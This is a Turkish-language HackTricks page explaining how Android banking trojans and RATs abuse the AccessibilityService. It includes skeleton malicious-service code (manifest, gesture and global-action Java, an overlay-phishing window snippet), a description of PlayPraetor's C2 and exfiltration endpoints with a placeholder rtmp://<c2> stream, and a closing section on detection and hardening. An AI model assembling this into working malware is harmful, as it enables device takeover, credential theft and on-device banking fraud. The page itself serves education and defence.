Android Erişilebilirlik Servisi İstismarı
Reading time: 5 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
AccessibilityService
, engelli kullanıcıların Android cihazlarla etkileşimde bulunmalarına yardımcı olmak için oluşturulmuştur. Ne yazık ki, aynı güçlü otomasyon API'leri (küresel navigasyon, metin girişi, hareket dağıtımı, üst katman pencereleri…) kötü amaçlı yazılımlar tarafından root ayrıcalıkları olmadan cihazın tam uzaktan kontrolünü ele geçirmek için silahlandırılabilir.
Modern Android bankacılık Trojanları ve Uzaktan Erişim Trojanları (RAT'lar) PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda gibi birçok diğerleri aynı tarife uymaktadır:
- Kurbanı, kötü niyetli bir erişilebilirlik hizmetini etkinleştirmeye ikna etmek ( BIND_ACCESSIBILITY_SERVICE izni "yüksek riskli" olarak kabul edilir ve açık bir kullanıcı eylemi gerektirir).
- Hizmeti kullanarak
- ekranda görünen her UI olayını ve metni yakalamak,
- operatörün istediği herhangi bir görevi otomatikleştirmek için sentetik hareketler (
dispatchGesture
) ve küresel eylemler (performGlobalAction
) enjekte etmek, - TYPE_ACCESSIBILITY_OVERLAY pencere türünü kullanarak meşru uygulamaların üstünde tam ekran üst katmanlar çizmek (hiçbir
SYSTEM_ALERT_WINDOW
istemi yok!), - kurbanın adına sistem diyaloglarına tıklayarak ek çalışma zamanı izinlerini sessizce vermek.
- Kullanıcı normal bir ekranı izlerken verileri dışarı sızdırmak veya Cihaz İçi Dolandırıcılık (ODF) gerçekleştirmek.
İzni Talep Etme
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Eşlik eden XML, sahte diyalogun nasıl görüneceğini tanımlar:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Uzaktan UI otomasyon ilkeleri
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Sadece bu iki API ile bir saldırgan şunları yapabilir:
- Ekranı kilidini açmak, bankacılık uygulamasını açmak, UI ağacında gezinmek ve bir transfer formu göndermek.
- Açılan her izin penceresini kabul etmek.
- Play Store niyeti aracılığıyla ek APK'lar yüklemek/güncellemek.
Kötüye Kullanım Desenleri
1. Overlay Phishing (Kimlik Bilgisi Toplama)
Şeffaf veya opak bir WebView
pencere yöneticisine eklenir:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
The victim types credentials into the fake form while the background app receives the same gestures – no suspicious "draw over other apps" prompt is ever shown.
Detaylı örnek: Erişilebilirlik Overlay Phishing bölümü Tapjacking sayfasında.
2. Cihaz İçi Dolandırıcılık otomasyonu
PlayPraetor gibi kötü amaçlı yazılım aileleri, operatörün yüksek seviyeli komutlar (init
, update
, alert_arr
, report_list
, …) verebileceği sürekli bir WebSocket kanalı sürdürür. Servis, bu komutları yukarıdaki düşük seviyeli hareketlere çevirerek, o cihaza bağlı çok faktörlü kimlik doğrulamayı kolayca aşan gerçek zamanlı yetkisiz işlemler gerçekleştirir.
3. Ekran akışı ve izleme
MediaProjection API'sini bir RTMP istemci kütüphanesi ile birleştirerek, RAT canlı framebuffer'ı rtmp://<c2>:1935/live/<device_id>
adresine yayınlayabilir, bu da düşmana Erişilebilirlik motoru UI'yi yönlendirirken mükemmel bir durum farkındalığı sağlar.
PlayPraetor – komut ve kontrol iş akışı
- HTTP(S) kalp atışı – bir alan adı
POST /app/searchPackageName
ile aktif C2 yanıt verene kadar sabit kodlu bir liste üzerinde yineleme yapın. - WebSocket (port 8282) – iki yönlü JSON komutları:
update
– yeni konfigürasyon/APK'ları gönderalert_arr
– overlay şablonlarını yapılandırreport_list
– hedeflenen paket adlarının listesini gönderheartbeat_web
– canlı tut
- RTMP (port 1935) – canlı ekran/video akışı.
- REST dışa aktarma –
/app/saveDevice
(parmak izi)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(banka kimlik bilgileri)
AccessibilityService, bu bulut komutlarını fiziksel etkileşimlere dönüştüren yerel motordur.
Kötü niyetli erişilebilirlik hizmetlerini tespit etme
adb shell settings get secure enabled_accessibility_services
- Ayarlar → Erişilebilirlik → İndirilen hizmetler – Google Play'den olmayan uygulamaları arayın.
- MDM / EMM çözümleri, yüklenmiş hizmetleri engellemek için
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) uygulayabilir. - Çalışan hizmetleri analiz edin:
adb shell dumpsys accessibility | grep "Accessibility Service"
Uygulama geliştiricileri için güçlendirme önerileri
- Hassas görünümleri
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
ile işaretleyin (API 34+). - Tap/overlay kaçırmayı önlemek için
setFilterTouchesWhenObscured(true)
ileFLAG_SECURE
'ı birleştirin. WindowManager.getDefaultDisplay().getFlags()
veyaViewRootImpl
API'sini sorgulayarak overlay'leri tespit edin.Settings.canDrawOverlays()
veya güvenilmeyen bir Erişilebilirlik hizmeti aktif olduğunda çalışmayı reddedin.
Referanslar
- PlayPraetor’ın gelişen tehdidi: Çince konuşan aktörlerin global ölçekte bir Android RAT'ı nasıl ölçeklendirdiği
- Android erişilebilirlik belgeleri – UI etkileşimini otomatikleştirme
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.